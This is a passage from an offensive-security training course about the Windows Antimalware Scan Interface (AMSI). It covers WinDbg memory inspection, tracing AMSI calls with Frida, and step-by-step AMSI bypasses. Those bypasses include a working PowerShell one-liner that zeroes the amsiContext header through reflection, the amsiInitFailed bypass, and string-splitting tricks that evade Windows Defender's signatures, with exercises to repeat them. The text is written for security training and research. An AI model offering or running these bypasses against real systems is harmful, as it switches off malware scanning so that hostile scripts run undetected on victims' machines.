formatted as 32-bit values, 32-bit values with ASCII representation,
and as 64-bit values, respectively. An example is shown in Listing
7.

0:000> dd rsp
00000063`4c93e8c8  9a465c0e 00007ff6 0000003f 00000063
00000063`4c93e8d8  3a156590 00000230 00000004 00000000
00000063`4c93e8e8  4c93e940 00000063 00000000 00000000
00000063`4c93e8f8  00000004 00007fff 00000000 00000000
00000063`4c93e908  4c93e960 00000063 000004e4 00000000
00000063`4c93e918  00000400 00000000 00000001 00000000
00000063`4c93e928  38c20008 00000230 3a15f8f0 00000230
00000063`4c93e938  9a465fd1 00007ff6 00000041 00000000

0:000> dc rsp
00000063`4c93e8c8  9a465c0e 00007ff6 0000003f 00000063  .\F.....?...c...
00000063`4c93e8d8  3a156590 00000230 00000004 00000000  .e.:0...........
00000063`4c93e8e8  4c93e940 00000063 00000000 00000000  @..Lc...........
00000063`4c93e8f8  00000004 00007fff 00000000 00000000  ................
00000063`4c93e908  4c93e960 00000063 000004e4 00000000  `..Lc...........
00000063`4c93e918  00000400 00000000 00000001 00000000  ................
00000063`4c93e928  38c20008 00000230 3a15f8f0 00000230  ...80......:0...
00000063`4c93e938  9a465fd1 00007ff6 00000041 00000000  ._F.....A.......

0:000> dq rsp
00000063`4c93e8c8  00007ff6`9a465c0e 00000063`0000003f
00000063`4c93e8d8  00000230`3a156590 00000000`00000004
00000063`4c93e8e8  00000063`4c93e940 00000000`00000000
00000063`4c93e8f8  00007fff`00000004 00000000`00000000
00000063`4c93e908  00000063`4c93e960 00000000`000004e4
00000063`4c93e918  00000000`00000400 00000000`00000001
00000063`4c93e928  00000230`38c20008 00000230`3a15f8f0
00000063`4c93e938  00007ff6`9a465fd1 00000000`00000041

Listing 7 - Displaying data as 32-bit values,
ASCII, and 64-bit values

These commands will also dump the contents of memory at any address.

In addition to inspecting the contents of a memory location, we can
also modify memory content. For example, we could modify a memory
location to force an execution path that could aid or speed up our
analysis.

Let's modify a DWORD using the ed command, followed by the
memory address we wish to edit and the new value:

0:000> dd rsp L1
00000063`4c93e8c8  9a465c0e

0:000> ed rsp 0

0:000> dd rsp L1
00000063`4c93e8c8  0

Listing 8 - Editing a DWORD with WinDbg

This basic tutorial forms the foundation for the basic reverse
engineering we'll perform to ultimately bypass AMSI.

Exercises

  1. Open WinDbg and attach to a Notepad process.
  2. Set a software breakpoint and trigger it.
  3. Step through instructions and display register and memory content.

Antimalware Scan Interface

To protect against malicious PowerShell scripts, Microsoft introduced
the Antimalware Scan Interface to allow run-time inspection of all
PowerShell commands or scripts. At a high level, AMSI captures every
PowerShell, Jscript, VBScript, VBA, or .NET command or script at
run-time and passes it to the local antivirus software for inspection.

At the time of this writing, only 11 antivirus vendors currently
support AMSI,[345] which means that the content passed by AMSI is
only analyzed if one of those antivirus products is installed. More
antivirus vendors will provide support over time, but it should be
noted that AMSI was first introduced in the release of Windows 10 in
2015 so the third-party adoption rate has not been impressive.

Initially, AMSI only worked with PowerShell, but support for
Jscript and VBScript was added later. Finally, support for VBA was
added in Microsoft Office 2019 and support for .NET was added in .NET
Framework 4.8.

Let's dig into the inner workings of AMSI so we can better understand
how to bypass it.

Understanding AMSI

There are a few AMSI components we should discuss. Figure
6 shows a simplified overview of an AMSI
implementation and how it interacts with an antivirus product,[346]
which in our case is Windows Defender.

Figure 6: AMSI implementation overview

The unmanaged dynamic link library AMSI.DLL is loaded into
every PowerShell and PowerShell_ISE process and provides a number of
exported functions that PowerShell takes advantage of. Let's cover
each of these in detail.

Relevant information captured by these APIs is forwarded to Windows
Defender through an interprocess mechanism called Remote Procedure
Call
(RPC).[347] After Windows Defender analyzes the data, the
result is sent back to AMSI.DLL inside the PowerShell
process.

The AMSI exported APIs include AmsiInitialize,
AmsiOpenSession, AmsiScanString, AmsiScanBuffer, and
AmsiCloseSession.[348] Since these functions have been
officially documented by Microsoft, we're able to understand the
intricacies of the capture process. Let's step through that capture
process.

When PowerShell is launched, it loads AMSI.DLL and calls
AmsiInitialize,[349] which takes two arguments as shown in the
function prototype below:

HRESULT AmsiInitialize(
  LPCWSTR      appName,
  HAMSICONTEXT *amsiContext
);

Listing 9 - Function prototype for
AmsiInitialize

The first parameter is the name of the application and the second is a
pointer to a context structure that is populated by the function. This
context structure, named amsiContext, is used in every subsequent
AMSI-related function.

Note that the call to AmsiInitialize takes place before we are able
to invoke any PowerShell commands, which means we cannot influence it
in any way.

Once AmsiInitialize is complete and the context structure is
created, AMSI can parse the issued commands. When we execute a
PowerShell command, the AmsiOpenSession[350] API is called:

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

Listing 10 - Function prototype for
AmsiOpenSession

AmsiOpenSession accepts the amsiContext context structure and
creates a session structure to be used in all calls within that
session. This leads to the next two APIs that perform the actual
captures.

AmsiScanString[351] and AmsiScanBuffer[352] can both
be used to capture the console input or script content either as a
string or as a binary buffer respectively.

Note that AmsiScanBuffer supersedes AmsiScanString, which was
vulnerable to a trivial bypass technique.

AmsiScanBuffer accepts a few more arguments as shown in its function
prototype in Listing 11.

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

Listing 11 - Function prototype for
AmsiScanBuffer

The first argument is the AMSI context buffer (amsiContext),
followed by a pointer to the buffer containing the content to be
scanned, and the length of the buffer. The following arguments
are an input identifier (contentName), the session structure
(amsiSession), and finally a pointer to a storage buffer for the
result of the scan.

Windows Defender scans the buffer passed to AmsiScanBuffer and
returns the result value. This value is defined according to the
AMSI_RESULT[353] enum. A return value of "32768" indicates
the presence of malware, and "1" indicates a clean scan.

Once the scan is complete, calling AmsiCloseSession[354] will
close the current AMSI scanning session. This function is not that
important to us since it takes place after the result of the scan and
any AMSI bypasses must happen before it is called.

Armed with this basic understanding of the AMSI mechanisms and APIs,
let's trace calls to these APIs to learn what, exactly, is passed in
the buffer to AmsiScanBuffer.

Hooking with Frida

We could use WinDbg breakpoints to trace the calls to the exported
AMSI calls, but the Frida[355] dynamic instrumentation framework
offers a more flexible approach.

Frida allows us to hook Win32 APIs through a Python backend while
using JavaScript to display and interpret arguments and return values.

Frida is pre-installed on the Windows 10 victim machine and to use it,
we'll first open a 64-bit PowerShell console and locate its process
ID. This is the process we want to trace.

Next, we'll open a command prompt to trace from and invoke Frida with
frida-trace. We'll supply the process ID of the PowerShell
process with -p, the DLL we want to trace with -x,
and the names of the specific APIs we want to trace with -i.
In this case, we will use a wildcard (*) to trace all functions
beginning with "Amsi":

C:\Users\Offsec> frida-trace -p 1584 -x amsi.dll -i Amsi*
Instrumenting functions...
AmsiOpenSession: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiOpenSession.js"
AmsiUninitialize: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUninitialize.js"
AmsiScanBuffer: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanBuffer.js"
AmsiUacInitialize: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacInitialize.js"
AmsiInitialize: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiInitialize.js"
AmsiCloseSession: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiCloseSession.js"
AmsiScanString: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiScanString.js"
AmsiUacUninitialize: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacUninitialize.js"
AmsiUacScan: Auto-generated handler at "C:\\Users\\Offsec\\__handlers__\\amsi.dll\\AmsiUacScan.js"
Started tracing 9 functions. Press Ctrl+C to stop.

Listing 12 - Start a tracing session with Frida

At this point, Frida has hooked all the APIs shown in Listing
12 and we can trace the input and output. To test
this, we'll simply enter the letters "test" in the PowerShell prompt,
which produces the following output from Frida:

           /* TID 0x17f0 */
174222 ms  AmsiOpenSession()
174223 ms  AmsiScanBuffer()
174355 ms  AmsiScanBuffer()
174366 ms  AmsiScanBuffer()
174375 ms  AmsiScanBuffer()
174382 ms  AmsiScanBuffer()
174385 ms  AmsiScanBuffer()
           /* TID 0x1934 */
174406 ms  AmsiCloseSession()
           /* TID 0x17f0 */
174406 ms  AmsiOpenSession()
174406 ms  AmsiScanBuffer()
           /* TID 0x1934 */
174411 ms  AmsiCloseSession()

Listing 13 - Tracing information from a "test"
string in PowerShell

Although we recognize calls to AmsiOpenSession, AmsiScanBuffer,
and AmsiCloseSession, we have no way of knowing if our input is
responsible for all those calls.

When we start a Frida tracing session, handler files are created for
each hooked API. For AmsiScanBuffer, the handler file is located at:

C:\Users\Offsec\__handlers__\amsi.dll\AmsiScanBuffer.js

Listing 14 - Location of the AmsiScanBuffer
handler file

If we open AmsiScanBuffer.js, we find the following
auto-generated content that we can modify to investigate any call to
AmsiScanBuffer:

...
  /**
   * Called synchronously when about to call AmsiScanBuffer.
   *
   * @this {object} - Object allowing you to store state for use in onLeave.
   * @param {function} log - Call this function with a string to be presented to the user.
   * @param {array} args - Function arguments represented as an array of NativePointer objects.
   * For example use args[0].readUtf8String() if the first argument is a pointer to a C string encoded as UTF-8.
   * It is also possible to modify arguments by assigning a NativePointer object to an element of this array.
   * @param {object} state - Object allowing you to keep state across function calls.
   * Only one JavaScript function will execute at a time, so do not worry about race-conditions.
   * However, do not use this to store function arguments across onEnter/onLeave, but instead
   * use "this" which is an object for keeping state local to an invocation.
   */
  onEnter: function (log, args, state) {
    log('AmsiScanBuffer()');
  },

  /**
   * Called synchronously when about to return from AmsiScanBuffer.
   *
   * See onEnter for details.
   *
   * @this {object} - Object allowing you to access state stored in onEnter.
   * @param {function} log - Call this function with a string to be presented to the user.
   * @param {NativePointer} retval - Return value represented as a NativePointer object.
   * @param {object} state - Object allowing you to keep state across function calls.
   */
  onLeave: function (log, retval, state) {
  }
...

Listing 15 - AmsiScanBuffer.js default content

We can update the handler code to better understand Frida's output and
help analyze what is being detected. Since we have already inspected
the signature of the API, we can update the JavaScript code in the
onEnter function.

Every hook in the handler file provides us with three arguments: the
args array contains the arguments passed to the AMSI API, while the
log method can be used to print the information we are trying to
capture to the console.

To provide visibility into the arguments provided to AmsiScanBuffer,
we can add log statements for each entry in the args array:

Our modified version of the onEnter hook for the AmsiScanBuffer
function is shown in Listing 16.

onEnter: function (log, args, state) {
  log('[*] AmsiScanBuffer()');
  log('|- amsiContext: ' + args[0]);
  log('|- buffer: ' + Memory.readUtf16String(args[1]));
  log('|- length: ' + args[2]);
  log('|- contentName ' + args[3]);
  log('|- amsiSession ' + args[4]);
  log('|- result ' + args[5] + "\n");
  this.resultPointer = args[5];
},

Listing 16 - Function signature
implemented in the JavaScript handler file

The readUtf16String[356] method is used with the second
argument (the buffer to be scanned) to print out its content as
a Unicode string. In addition, the last argument is the storage
address of the antivirus scan result. This address is stored in
the resultPointer JavaScript variable through the this[357]
keyword for later access.

Our goal is to store the scan result pointer until the AMSI API exits
at which point, we will read the result and print it to the console.
To do this, we can hook the AmsiScanBuffer function exit through
onLeave in the JavaScript handler code.

onLeave: function (log, retval, state) {
  log('[*] AmsiScanBuffer() Exit');
  resultPointer = this.resultPointer;
  log('|- Result value is: ' + Memory.readUShort(resultPointer) + "\n");
}

Listing 17 - Printing the return value
when AmsiScanBuffer is done

In this code, we've used the readUshort method to read the result
value from the stored memory location and have printed it to the
console.

As soon as the JavaScript file is saved, Frida automatically refreshes
the hooks from the handler files, so we can supply the same "test"
string in the PowerShell prompt to obtain the following truncated
output:

...
2730732 ms  AmsiOpenSession()
2730732 ms  [*] AmsiScanBuffer()
2730732 ms  |- amsiContext: 0x1f862fa6f40
2730732 ms  |- buffer: test
2730732 ms  |- length: 0x8
2730732 ms  |- contentName 0x1f84ad8142c
2730732 ms  |- amsiSession 0xd
2730732 ms  |- result 0x599f9ce948

2730744 ms  [*] AmsiScanBuffer() Exit
2730744 ms  |- Result value is: 1
...

Listing 18 - Printing arguments and return
value from AmsiScanBuffer

If the Frida prompt ever stalls, we can press enter in our console
to force printed output.

Now that we can monitor input and output from the AmsiScanBuffer
API, we notice our "test" input and a return of "1", indicating that
AMSI has flagged our code as non-malicious.

Next, let's enter a simple command in the PowerShell console that
Windows Defender will detect as malicious:

PS C:\Users\Offsec> 'AmsiUtils'
At line:1 char:1
+ 'AmsiUtils'
+ ~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Listing 19 - Malicious result from the
entered command

Although the command was benign, it was flagged as
malicious nonetheless. The Frida output is shown in Listing
20:

...
4290781 ms  [*] AmsiScanBuffer()
4290781 ms  |- amsiContext: 0x1f862fa6f40
4290781 ms  |- buffer: 'AmsiUtils'
4290781 ms  |- length: 0x16
4290781 ms  |- contentName 0x1f84ad8142c
4290781 ms  |- amsiSession 0x33
4290781 ms  |- result 0x599f9ce948

4290807 ms  [*] AmsiScanBuffer() Exit
4290807 ms  |- Result value is: 32768
...

Listing 20 - AmsiScanBuffer reporting
malicious content

There is no doubt that the warning we received in the PowerShell
prompt came from Windows Defender, but it is not clear why it was
flagged.

If we try to modify the command by splitting the string and
concatenating them as shown in Listing 21, it
is no longer flagged as malicious:

PS C:\Users\Offsec> 'Am'+'siUtils'
AmsiUtils

Listing 21 - Splitting AmsiUtils in two
strings

The Frida trace provides more detail:

4461772 ms  [*] AmsiScanBuffer()
4461772 ms  |- amsiContext: 0x1f862fa6f40
4461772 ms  |- buffer: 'Am'+'siUtils'
4461772 ms  |- length: 0x1c
4461772 ms  |- contentName 0x1f84ad8142c
4461772 ms  |- amsiSession 0x36
4461772 ms  |- result 0x599f9ce948

4461781 ms  [*] AmsiScanBuffer() Exit
4461781 ms  |- Result value is: 1

Listing 22 - Frida trace for the concatenated
AmsiUtils string

From this input and output, we can deduce that, for reasons that will
be revealed later, Windows Defender flagged the "AmsiUtils" string
as malicious. However, we easily bypassed this simple protection by
splitting and concatenating the string.

Exercises

  1. Use Frida to trace innocent PowerShell commands and fill out the
    onEnter and onExit JavaScript functions of AmsiScanBuffer to
    observe how the content is being passed.
  2. Enter malicious commands and try to bypass AMSI detection by
    splitting strings into multiple parts.

Bypassing AMSI With Reflection in PowerShell

As demonstrated, AMSI passes every PowerShell command through Windows
Defender's signature detection before executing it.

One way to evade AMSI is to obfuscate and encode our PowerShell
commands and scripts, but this could eventually become an exhausting
game of "cat and mouse".

In this section, we'll take a much simpler approach and attempt to
halt AMSI without crashing PowerShell. To do this, we'll investigate
two bypass techniques that rely on reflection and will allow us
to interact with internal types and objects that are otherwise not
accessible.

What Context Mom?

When we examined each of the AMSI Win32 APIs, we found that they all
use the context structure that is created by calling AmsiInitialize.
However, Microsoft has not documented this context structure.

Undocumented functions, structures, and objects are often prone to
error, and provide a golden opportunity for security researchers and
exploit developers. In this particular case, if we can force some sort
of error in this context structure, we may discover a way to crash or
bypass AMSI without impacting PowerShell.

Since this context structure is undocumented, we will use Frida
to locate its address in memory and then use WinDbg to inspect its
content. As before, we will open a PowerShell prompt and a trace it
with Frida. Then, we'll enter another "test" string to obtain the
address of the context structure:

27583730 ms  [*] AmsiScanBuffer()
27583730 ms  |- amsiContext: 0x1f862fa6f40
27583730 ms  |- buffer: test
27583730 ms  |- length: 0x8
27583730 ms  |- contentName 0x1f84ad8142c
27583730 ms  |- amsiSession 0x38
27583730 ms  |- result 0x599f9ce948

27583742 ms  [*] AmsiScanBuffer() Exit
27583742 ms  |- Result value is: 1

Listing 23 - Locating memory address of amsiContext

The highlighted section of Listing 23 reveals the
memory address of amsiContext. Recall that amsiContext is created
when AMSI is initialized so its memory address does not change between
scans, allowing us to inspect it easily with WinDbg.

As a next step, we'll open WinDbg, attach to the PowerShell process,
and dump the memory contents of the context structure as shown in
Listing 24.

0:014> dc 0x1f862fa6f40 
000001f8`62fa6f40  49534d41 00000000 48efe1f0 000001f8  AMSI.......H....
000001f8`62fa6f50  4905dd30 000001f8 00000039 00000000  0..I....9.......
000001f8`62fa6f60  d722b5cb ad27f1b7 2a525af5 8c00025b  .."...'..ZR*[...
000001f8`62fa6f70  0065004e 00730074 00610063 00650070  N.e.t.s.c.a.p.e.
000001f8`62fa6f80  00420020 00730061 00200065 00520055   .B.a.s.e. .U.R.
000001f8`62fa6f90  0000004c 00000000 2a555afa 92000312  L........ZU*....
000001f8`62fa6fa0  00740053 00650072 00740065 00410020  S.t.r.e.e.t. .A.
000001f8`62fa6fb0  00640064 00650072 00730073 00000000  d.d.r.e.s.s.....

Listing 24 - Content of the amsiContext buffer

We don't know the size of the context structure but we find that the
first four bytes equate to the ASCII representation of "AMSI". This
seems rather interesting and might be usable since this string is
likely static between processes.

If we can observe the context structure in action in the AMSI APIs, we
may be able to determine if the first four bytes are being referenced
in any way. To do this, we'll use the unassemble command in WinDbg
along with the AmsiOpenSession function from the AMSI module:

0:014> u amsi!AmsiOpenSession
amsi!AmsiOpenSession:
00007fff`c75c24c0 e943dcdb0b      jmp     00007fff`d3380108
00007fff`c75c24c5 4885c9          test    rcx,rcx
00007fff`c75c24c8 7441            je      amsi!AmsiOpenSession+0x4b (00007fff`c75c250b)
00007fff`c75c24ca 8139414d5349    cmp     dword ptr [rcx],49534D41h
00007fff`c75c24d0 7539            jne     amsi!AmsiOpenSession+0x4b (00007fff`c75c250b)
00007fff`c75c24d2 4883790800      cmp     qword ptr [rcx+8],0
00007fff`c75c24d7 7432            je      amsi!AmsiOpenSession+0x4b (00007fff`c75c250b)
00007fff`c75c24d9 4883791000      cmp     qword ptr [rcx+10h],0

Listing 25 - AmsiOpenSession comparing
content of context structure

The fourth line of assembly code is interesting as it compares the
contents of a memory location to the four static bytes we just found
inside the context structure.

According to the 64-bit calling convention, we know that RCX
will contain the function's first argument. The first argument of
AmsiOpenSession is exactly the context structure according to its
function prototype, which means that a comparison is performed to
check the header of the buffer.

Although we don't know much about this context structure, we
observe that the first four bytes equate to the ASCII representation
of "AMSI". After the comparison instruction (shown in Listing
25), we find a conditional jump instruction,
JNE, which means "jump if not equal".

If the header bytes are not equal to this static DWORD, the conditional
jump is triggered and execution goes to offset 0x4B inside the
function. Let's use WinDbg to display the instructions at that address:

0:014> u amsi!AmsiOpenSession+0x4b L2
amsi!AmsiOpenSession+0x4b:
00007fff`c75c250b b857000780      mov     eax,80070057h
00007fff`c75c2510 c3              ret

Listing 26 - Code section after conditional
jump in AmsiOpenSession

The conditional jump leads directly to an exit of the function where
the static value 0x80070057 is placed in the EAX register. On both
the 32-bit and 64-bit architectures, the function return values are
returned through the EAX/RAX register.

If we revisit the function prototype of AmsiOpenSession as given
in Listing 27, we notice that the return value
type is HRESULT.[358]

HRESULT AmsiOpenSession(
  HAMSICONTEXT amsiContext,
  HAMSISESSION *amsiSession
);

Listing 27 - Function prototype for
AmsiOpenSession

HRESULT values are documented and can be referenced on MSDN where we
find that the numerical value 0x80070057 corresponds to the message
text E_INVALIDARG.[359] The message text, while not
especially verbose, indicates that an argument, which we would assume
to be amsiContext, is invalid.

In short, this error occurs if the context structure has been
corrupted. If the first four bytes of amsiContext do not match
the header values, AmsiOpenSession will return an error. What we
don't know is what effect that error will cause. In a situation like
this, there are typically two ways forward.

The first is to trace the call to AmsiOpenSession that returns this
error and try to figure out where that leads. This could become very
time-consuming and complex. The second, and much simpler, approach is
to force a failed AmsiOpenSession call, let the execution continue,
and observe what happens in our Frida trace. Let's try this approach
first.

In order to force an error, we'll place a breakpoint on
AmsiOpenSession and trigger it by entering a PowerShell command.
Once the breakpoint has been triggered, we'll use ed
to modify the first four bytes of the context structure, and let
execution continue:

0:014> bp amsi!AmsiOpenSession

0:014> g
Breakpoint 0 hit
amsi!AmsiOpenSession:
00007fff`c75c24c0 e943dcdb0b      jmp     00007fff`d3380108

0:006> dc rcx L1
000001f8`62fa6f40  49534d41                             AMSI

0:006> ed rcx 0

0:006> dc rcx L1
000001f8`62fa6f40  00000000                             ....

0:006> g

Listing 28 - Modifying the context
structure header

After overwriting the AMSI header value, we'll continue execution,
which generates exceptions:

30024801 ms  [*] AmsiOpenSession()
30024801 ms  |- amsiContext: 0x1f862fa6f40
30024801 ms  |- amsiSession: 0x7fff37328268

30024803 ms  [*] AmsiOpenSession() Exit
30024803 ms  |- HRESULT value is: 0x80070057

Listing 29 - No additional AMSI APIs are
called after corrupting the header

According to this output, AmsiOpenSession() has exited. This could
indicate that AMSI has been shut down.

To test this, we'll enter the 'amsiutils' string that was previously
flagged as malicious:

PS C:\Users\Offsec> 'amsiutils'
amsiutils

Listing 30 - No detection on amsiutils with
corrupted context header

This time, none of the hooked AMSI APIs are called and our command
is not flagged. By corrupting the amsiContext header, we have
effectively shut down AMSI without affecting PowerShell. We have
effectively bypassed AMSI. Very nice.

Although this method is effective, it relies on manual intervention
with WinDbg. Let's try to implement this bypass directly from
PowerShell with reflection.

PowerShell stores information about AMSI in managed code inside the
System.Management.Automation.AmsiUtils class, which we can enumerate
and interact with through reflection.

As previously discussed, a key element of reflection is
the GetType[144-1] method, which we'll invoke through
System.Management.Automation.PSReference,[360] also called [Ref].

GetType accepts the name of the assembly to resolve, which in this
case is System.Management.Automation.AmsiUtils. Before we execute
any code, we'll close the current PowerShell session and open a new
one to re-enable AMSI.

Note that using a large number of AMSI trigger strings while
testing may cause a "panic" in Windows Defender and it will suddenly
consider everything malicious. At this point, the only remedy is to
reboot the system.

PS C:\Users\Offsec> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
At line:1 char:1
+ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

Listing 31 - Antivirus blocking our attempt to
reference AmsiUtils class

Sadly, Windows Defender and AMSI are blocking us from obtaining
a reference to the class due to the malicious 'AmsiUtils' string.
Instead, we can locate the class dynamically.

We could again attempt to bypass Windows Defender with a split string
like 'ams'+'iUtils' (as some public bypasses do), but Microsoft
regularly updates the signatures and this simple bypass may eventually
fail.

Instead, we'll attempt another approach and loop the
GetTypes[137-1] method, searching for all types containing the
string "iUtils" in its name:

PS C:\Users\Offsec> $a=[Ref].Assembly.GetTypes()

PS C:\Users\Offsec> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$b}}

IsPublic IsSerial Name                                     BaseType
-------- -------- ----                                     --------
False    False    AmsiUtils                                System.Object

Listing 32 - Getting all types and filtering
them

Armed with a handle to the AmsiUtils class, we can now invoke the
GetFields[361] method to enumerate all objects and variables
contained in the class. Since GetFields accepts filtering modifiers,
we'll apply the NonPublic and Static filters to help narrow the
results:

PS C:\Users\Offsec> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

PS C:\Users\Offsec> $c.GetFields('NonPublic,Static')


Name                   : amsiContext
MetadataToken          : 67114374
FieldHandle            : System.RuntimeFieldHandle
Attributes             : Private, Static
FieldType              : System.IntPtr
MemberType             : Field
ReflectedType          : System.Management.Automation.AmsiUtils
DeclaringType          : System.Management.Automation.AmsiUtils
Module                 : System.Management.Automation.dll
IsPublic               : False
IsPrivate              : True
IsFamily               : False
IsAssembly             : False
IsFamilyAndAssembly    : False
IsFamilyOrAssembly     : False
IsStatic               : True
IsInitOnly             : False
IsLiteral              : False
IsNotSerialized        : False
IsSpecialName          : False
IsPinvokeImpl          : False
IsSecurityCritical     : True
IsSecuritySafeCritical : False
IsSecurityTransparent  : False
CustomAttributes       : {}
...

Listing 33 - Enumerating stored objects in
AmsiUtils class

As we will soon realize, the amsiContext field contains the
unmanaged amsiContext buffer. However, we can not reference the
field directly since amsiContext also contains a malicious "amsi"
string. We'll again loop through all the fields, searching
for a name containing "Context":

PS C:\Users\Offsec> $d=$c.GetFields('NonPublic,Static')

PS C:\Users\Offsec> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

PS C:\Users\Offsec> $f.GetValue($null)
1514420113440

Listing 34 - Finding the address of
amsiContext through reflection

Although we managed to obtain the amsiContext field without
triggering AMSI, the output contains a very large integer. Converting
this to hexadecimal produces 0x1609A791020, which looks like a valid
memory address.

To verify our theory that this is indeed the address of the
amsiContext buffer, we'll open and attach WinDbg and dump the memory
at address 0x1609A791020:

0:009> dc 0x1609A791020
00000160`9a791020  49534d41 00000000 806db190 00000160  AMSI......m.`...
00000160`9a791030  8086dd30 00000160 00000022 00000000  0...`...".......
00000160`9a791040  6372756f 00007365 cf43afd2 91000300  ources....C.....
00000160`9a791050  554c4c41 53524553 464f5250 3d454c49  ALLUSERSPROFILE=
00000160`9a791060  505c3a43 72676f72 61446d61 00006174  C:\ProgramData..
00000160`9a791070  00000000 00000000 cf5eafd1 80000400  ..........^.....
00000160`9a791080  00000000 00000000 9a791080 00000160  ..........y.`...
00000160`9a791090  00000000 00000000 80000000 00000000  ................

Listing 35 - Verifying the address of
amsiContext in WinDbg

The first four bytes at the dumped address contain the AMSI header
values, indicating that this is very likely the amsiContext buffer.

Now, let's put this all together. We'll recreate each of the steps and
use Copy[362] to overwrite the amsiContext header by copying
data (four zeros) from managed to unmanaged memory:

PS C:\Users\Offsec> $a=[Ref].Assembly.GetTypes()

PS C:\Users\Offsec> Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}

PS C:\Users\Offsec> $d=$c.GetFields('NonPublic,Static')

PS C:\Users\Offsec> Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}}

PS C:\Users\Offsec> $g=$f.GetValue($null)

PS C:\Users\Offsec> [IntPtr]$ptr=$g

PS C:\Users\Offsec> [Int32[]]$buf=@(0)

PS C:\Users\Offsec> [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Listing 36 - Overwriting the amsiContext header
bytes

We do not get any output from the executed commands, but we can
inspect our work by switching to WinDbg, forcing a break through
Debug > Break and dumping the content of the amsiContext buffer:

(1284.1ff8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007fff`d3521f80 cc              int     3
0:010> dc 0x1609A791020
00000160`9a791020  00000000 00000000 806db190 00000160  ..........m.`...
00000160`9a791030  8086dd30 00000160 00000037 00000000  0...`...7.......
00000160`9a791040  6372756f 00007365 cf43afd2 91000300  ources....C.....
00000160`9a791050  554c4c41 53524553 464f5250 3d454c49  ALLUSERSPROFILE=
00000160`9a791060  505c3a43 72676f72 61446d61 00006174  C:\ProgramData..
00000160`9a791070  00000000 00000000 cf5eafd1 80000400  ..........^.....
00000160`9a791080  00000000 00000000 9a791080 00000160  ..........y.`...
00000160`9a791090  00000000 00000000 80000000 00000000  ................

Listing 37 - Verifying the overwritten
AMSI header

This output indicates that the context structure header was indeed
overwritten, which should force AmsiOpenSession to error out.

Next, let's continue execution in the debugger, switch back to
PowerShell, and enter the malicious 'amsiutils' string:

PS C:\Users\Offsec> 'amsiutils'
amsiutils

Listing 38 - No detection on amsiutils with
corrupted context header

The string was not flagged. Excellent.

We can combine this bypass into a PowerShell one-liner:

PS C:\Users\Offsec> $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

PS C:\Users\Offsec> 'amsiutils'
amsiutils

Listing 39 - AMSI bypass through context
structure corruption

Not only is this bypass working, but it is difficult to blacklist now
that we've removed explicit signature strings and dynamically resolved
the types and fields.

This is working well, but it's not the only approach. We'll work
through another bypass in the next section.

Exercises

  1. Inspect the amsiContext structure to locate the AMSI header using
    Frida and WinDbg.
  2. Manually modify the amsiContext structure in WinDbg and ensure
    AMSI is bypassed.
  3. Replicate the .NET reflection to dynamically locate the
    amsiContext field and modify it.

Attacking Initialization

In the previous section, we evaded AMSI by corrupting the context
structure. This context structure is created by the AmsiInitialize
function when AMSI.DLL is first loaded and initialized inside
the PowerShell process.

Manipulating a result variable set by AmsiInitialize can also lead
to another AMSI bypass through the amsiInitFailed field, a technique
first discovered by Matt Graeber[363] in 2016.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Listing 40 - AMSI bypass through amsiInitFailed
field

The amsiInitFailed field is verified by AmsiOpenSession in the
same manner as the amsiContext header, which leads to an error.

The AMSI bypass in Listing 40 still works even
though it was discovered in 2016, but the substrings 'AmsiUtils' and
'amsiInitFailed' have since been flagged as malicious.

We can reuse the dynamic discovery of types and fields from our
amsiContext AMSI bypass to evade the signatures and reuse this
bypass.

Both AMSI bypasses rely on reflection, but as we'll discuss in the
next section, we can also use the Win32 APIs to corrupt the AMSI
functions themselves.

Exercise

  1. Modify the original AMSI bypass shown in Listing
    40 to bypass Windows Defender string signatures
    through dynamic filtering.

Wrecking AMSI in PowerShell

In the last section, we used reflection to locate vital structures
and variables that, when corrupted, will cause AMSI to be disabled.
In this section, we'll modify the assembly instructions themselves
instead of the data they are acting upon in a technique known as
binary patching. We can use this technique to hotpatch the code and
force it to fail even if the data structure is valid.

Understanding the Assembly Flow

Before we modify any code, we must first understand how the original
code operates. To do that, we'll dump the content of AmsiOpenSession
with WinDbg:

0:018> u amsi!AmsiOpenSession L1A
